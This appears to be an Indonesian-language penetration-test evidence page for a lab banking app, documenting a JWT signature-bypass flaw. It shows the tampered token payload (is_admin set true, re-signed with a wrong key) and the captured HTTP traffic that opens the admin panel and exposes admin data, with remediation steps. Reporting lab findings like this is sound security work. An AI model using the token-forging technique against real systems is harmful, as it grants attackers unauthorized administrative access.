Skenario 09 / 26FAIL

JWT Signature Not Verified - Authentication - Token Validation

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] JWT Signature Not Verified - Authentication - Token Validation

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] JWT Signature Not Verified - Authentication - Token Validation

Deskripsi

Fungsi verify_token pada auth.py menangkap InvalidSignatureError lalu mencoba ulang decode dengan options={'verify_signature': False} dan mengembalikan payload-nya. Akibatnya token dengan tanda tangan yang salah tetap diterima. Klaim is_admin dibaca langsung dari payload token sehingga penyerang cukup mengubah klaim tersebut.

Dampak

Confidentiality + Integrity (Critical): eskalasi hak akses vertikal dari pengguna biasa menjadi administrator tanpa mengetahui kunci penanda tangan. Token yang ditempa membuka panel admin dan seluruh endpoint administratif, termasuk membaca data pengguna lain dan mengelola akun.

CWE

CWE-347: Improper Verification of Cryptographic Signature

OWASP

A07:2021 - Identification and Authentication Failures

Skenario

Normal: token sah milik pentest_attacker ditolak panel admin dengan 403 Access Denied. Eksploitasi: payload token diubah menjadi user_id 1 dan is_admin true, lalu ditandatangani ulang memakai kunci yang salah (totally-wrong-key). Dampak: token palsu diterima, panel admin terbuka dan data administrator terbaca.

Endpoint

GET http://127.0.0.1:5001/sup3r_s3cr3t_admin GET http://127.0.0.1:5001/api/v3/user/1

Fitur terdampak

Validasi JWT pada seluruh endpoint terproteksi (decorator token_required)

Rekomendasi perbaikan

- Hapus jalur fallback yang melakukan decode dengan verify_signature False; kegagalan verifikasi tanda tangan harus selalu menolak permintaan. - Kunci algoritma ke satu nilai yang diharapkan (HS256) dan tolak nilai lain. - Jangan mengambil keputusan otorisasi dari klaim di dalam token; ambil peran dari database berdasarkan subject token. - Gunakan secret yang kuat dan acak, serta tambahkan klaim exp.

Bukti konsep

1) (Screenshot 1) NORMAL: token sah pentest_attacker ke /sup3r_s3cr3t_admin -> HTTP 403 Access Denied. 2) (Screenshot 2) PROSES: token didekode, klaim user_id diubah ke 1 dan is_admin ke true, lalu ditandatangani ulang dengan kunci salah. 3) (Screenshot 3) EKSPLOITASI: token palsu ke /sup3r_s3cr3t_admin -> HTTP 200, panel admin terbuka. 4) (Screenshot 4) DAMPAK CIA: token palsu membaca /api/v3/user/1 -> data administrator (ADMIN001, is_admin true) terekspos.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] JWT Signature Not Verified - Authentication - Token Validation

Description:
Fungsi verify_token pada auth.py menangkap InvalidSignatureError lalu mencoba ulang decode dengan options={'verify_signature': False} dan mengembalikan payload-nya. Akibatnya token dengan tanda tangan yang salah tetap diterima. Klaim is_admin dibaca langsung dari payload token sehingga penyerang cukup mengubah klaim tersebut.

Impact:
Confidentiality + Integrity (Critical): eskalasi hak akses vertikal dari pengguna biasa menjadi administrator tanpa mengetahui kunci penanda tangan. Token yang ditempa membuka panel admin dan seluruh endpoint administratif, termasuk membaca data pengguna lain dan mengelola akun.

CWE:
CWE-347: Improper Verification of Cryptographic Signature

OWASP:
A07:2021 - Identification and Authentication Failures

Scenario:
Normal: token sah milik pentest_attacker ditolak panel admin dengan 403 Access Denied. Eksploitasi: payload token diubah menjadi user_id 1 dan is_admin true, lalu ditandatangani ulang memakai kunci yang salah (totally-wrong-key). Dampak: token palsu diterima, panel admin terbuka dan data administrator terbaca.

Endpoint:
GET http://127.0.0.1:5001/sup3r_s3cr3t_admin
GET http://127.0.0.1:5001/api/v3/user/1

Affected Feature:
Validasi JWT pada seluruh endpoint terproteksi (decorator token_required)

Remediation:
- Hapus jalur fallback yang melakukan decode dengan verify_signature False; kegagalan verifikasi tanda tangan harus selalu menolak permintaan.
- Kunci algoritma ke satu nilai yang diharapkan (HS256) dan tolak nilai lain.
- Jangan mengambil keputusan otorisasi dari klaim di dalam token; ambil peran dari database berdasarkan subject token.
- Gunakan secret yang kuat dan acak, serta tambahkan klaim exp.

POC:
1) (Screenshot 1) NORMAL: token sah pentest_attacker ke /sup3r_s3cr3t_admin -> HTTP 403 Access Denied.
2) (Screenshot 2) PROSES: token didekode, klaim user_id diubah ke 1 dan is_admin ke true, lalu ditandatangani ulang dengan kunci salah.
3) (Screenshot 3) EKSPLOITASI: token palsu ke /sup3r_s3cr3t_admin -> HTTP 200, panel admin terbuka.
4) (Screenshot 4) DAMPAK CIA: token palsu membaca /api/v3/user/1 -> data administrator (ADMIN001, is_admin true) terekspos.

02 — Tangkapan layar

Tangkapan layar (3)

01 / 1
02 / 3
03 / 4

03 — Detail proses

Detail proses

Nilai kredensial disamarkan dalam tampilan HTML ini; keterangan tentang token lengkap merujuk pada rekaman sumber.

PROSES 01 / 2
01 / Siapkan JWT yang diubah

Siapkan JWT yang diubah

Token yang direkam

[REDACTED-LAB-JWT]

Header yang didekode

{
  "typ": "JWT",
  "alg": "HS256"
}

Payload yang didekode

{
  "user_id": 2,
  "username": "pentest_attacker",
  "is_admin": false,
  "iat": 1790737096
}

Payload yang diubah

{
  "user_id": 1,
  "username": "admin",
  "is_admin": true,
  "iat": 1790736461
}

Kunci penandatanganan yang digunakan

[REDACTED-LAB-SIGNING-KEY]

Token yang dienkode ulang

[REDACTED-LAB-JWT]

Nilai kredensial disamarkan dalam tampilan HTML ini; keterangan tentang token lengkap merujuk pada rekaman sumber.

04 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 403 FORBIDDEN
Content-Type: text/html; charset=utf-8
Content-Length: 13
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:16 GMT

Access Denied
REKAMAN 02 / 3
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:18 GMT

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel - VulnBank</title>
    <link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
    <link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/admin.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
    <a href="#main-content" class="skip-link">Skip to main content</a>

    <div class="admin-layout">
        <!-- Sidebar -->
        <aside class="admin-sidebar">
            <div class="sidebar-header">
                <div class="sidebar-logo">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
                    </svg>
                    <span class="sidebar-logo-text">VulnBank</span>
                    <span class="sidebar-badge">Admin</span>
                </div>
            </div>

            <nav class="sidebar-nav">
                <a href="#overview" class="sidebar-nav-item active" data-section="overview">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="3" width="7" height="7"></rect>
                        <rect x="14" y="3" width="7" height="7"></rect>
                        <rect x="14" y="14" width="7" height="7"></rect>
                        <rect x="3" y="14" width="7" height="7"></rect>
                    </svg>
                    <span>Overview</span>
                </a>
                <a href="#users" class="sidebar-nav-item" data-section="users">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
                        <circle cx="9" cy="7" r="4"></circle>
                        <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
                        <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
                    </svg>
                    <span>Users</span>
                </a>
                <a href="#loans" class="sidebar-nav-item" data-section="loans">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
                        <path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
                    </svg>
                    <span>Loans</span>
                </a>
                <a href="#settings" class="sidebar-nav-item" data-section="settings">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="3"></circle>
                        <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
                    </svg>
                    <span>Settings</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <a href="/dashboard" class="sidebar-back-link">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <line x1="19" y1="12" x2="5" y2="12"></line>
                        <polyline points="12 19 5 12 12 5"></polyline>
                    </svg>
                    <span>Back to Dashboard</span>
                </a>
                <button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
                    <span class="toggle-icon toggle-icon-sun">☀️</span>
                    <span class="toggle-icon toggle-icon-moon">🌙</span>
                </button>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="admin-main" id="main-content">
            <!-- Top Bar -->
            <header class="admin-topbar">
                <h1 class="admin-page-title">Overview</h1>
                <div class="admin-profile-mini">
                    <span class="admin-name">System Administrator</span>
                    <img src="/static/uploads/admin.png" alt="Admin">
                </div>
            </header>

            <!-- Messages -->
            <div id="message" aria-live="polite"></div>

            <!-- Overview Section -->
            <section class="admin-section" id="overview-section">
                <div class="section-header">
                    <h2>Transaction Analytics</h2>
                    <p class="section-subt

[... 37049 more bytes not shown ...]
REKAMAN 03 / 4
HTTP request
GET /api/v3/user/1 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 185
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:19 GMT

{
  "status": "success",
  "user": {
    "account_number": "ADMIN001",
    "balance": 1000000.0,
    "bio": null,
    "id": 1,
    "is_admin": true,
    "username": "admin"
  }
}